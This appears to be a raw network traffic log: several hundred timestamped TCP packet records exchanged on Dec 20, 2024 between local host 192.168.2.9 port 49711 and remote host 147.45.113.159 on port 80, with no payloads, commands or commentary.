Dec 20, 2024 17:13:39.313761950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.313801050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.313864946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.314517021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.314553976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.314587116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.315408945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.315421104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.315448046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.359370947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.375658035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.375674963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.375685930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.375698090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.375772953 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.375922918 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.376068115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.376137972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.376174927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.377645016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.377659082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.377671003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.377684116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.377701998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.377724886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.378068924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.378192902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.378226995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.378850937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.378942013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.378977060 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.379623890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.379713058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.379745007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.380465031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.380981922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.381016970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.381165028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.381392002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.381427050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.381987095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.382273912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.382308960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.382749081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.382903099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.382935047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.383564949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.384342909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.384355068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.384381056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.384442091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.384479046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.385159969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.385246992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.385279894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.385997057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.386225939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.386265039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.386723042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.386735916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.386769056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.387475014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.387514114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.387548923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.388231993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.388422966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.388458014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.389009953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.389199972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.389235020 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.389853001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.389949083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.389983892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.390594006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.390786886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.390827894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.391402006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.391958952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.392030001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.392219067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.392414093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.392451048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.392966032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.393050909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.393088102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.393734932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.393856049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.393897057 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.394515038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.394723892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.394769907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.395608902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.396003008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.396047115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.396411896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.396625996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.396670103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.397043943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.397422075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.397466898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.397623062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.397634029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.397675991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.460261106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.460462093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.460618019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.460764885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.460777998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.460824013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.461404085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.461652040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.461698055 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.462173939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.462414026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.462454081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.462850094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.463218927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.463262081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.463577032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.464013100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.464055061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.464071989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.464766979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.464813948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.464957952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.465588093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.465636969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.465805054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.466351032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.466392040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.466445923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.467113972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.467202902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.467281103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.467957973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.468008041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.468121052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.468765974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.468811035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.469496965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.469508886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.469557047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.469579935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.470251083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.470299006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.470701933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.471029997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.471077919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.471200943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.471834898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.471887112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.472492933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.472618103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.472630024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.472657919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.473375082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.473421097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.473771095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.474239111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.474288940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.475025892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.475178003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.475188017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.475275040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.505675077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.505745888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.505884886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.506103992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.506115913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.506156921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.506854057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.506897926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.507041931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.507672071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.507715940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.567239046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.567326069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.567471027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.567517042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.567676067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.567711115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.567720890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.568485975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.568523884 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.568555117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.569278955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.569314957 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.569395065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.570086002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.570125103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.570607901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.570823908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.570862055 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.571193933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.571605921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.571645975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.571779013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.572393894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.572433949 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.572551012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.573219061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.573231936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.573275089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.574009895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.574095011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.574122906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.574744940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.574799061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.575067043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.575500965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.575548887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.576323032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.576335907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.576385021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.576438904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.577073097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.577120066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.577605009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.577841043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.577884912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.578670025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.578738928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.578752041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.578783035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.579416990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.579466105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.579668999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.580229044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.580280066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.580460072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.581002951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.581048965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.581199884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.581772089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.581816912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.581954956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.582566023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.582633018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.582636118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.583329916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.583379030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.583424091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.584105015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.584150076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.584183931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.584902048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.584953070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.585076094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.585681915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.585726976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.585750103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.586543083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.586591959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.586729050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.587258101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.587316990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.587341070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.588041067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.588092089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.588289976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.588850021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.588896036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.588978052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.589631081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.589663982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.589679003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.640590906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.652364969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.652451992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.652529955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.652745962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.652757883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.652790070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.653451920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.653717995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.653750896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.654293060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.654491901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.654525042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.654686928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.655333996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.655353069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.655370951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.656028986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.656064987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.656137943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.656953096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.656991005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.657022953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.657666922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.657710075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.658446074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.658458948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.658493996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.658541918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.659221888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.659255028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.659348965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.659986973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.660021067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.660084963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.660799026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.660836935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.660958052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.661585093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.661597013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.661619902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.662486076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.662497044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.662530899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.663886070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.663908958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.663921118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.663935900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.663958073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.664053917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.664747000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.664788008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.665601015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.665612936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.665649891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.665653944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.666228056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.666268110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.666843891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.667018890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.667054892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.667151928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.697915077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.697981119 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.698147058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.698313951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.698327065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.698348045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.699172974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.699208021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.699290991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.699816942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.699857950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.759356976 CET	80	49711	147.45.113.159	192.168.2.9
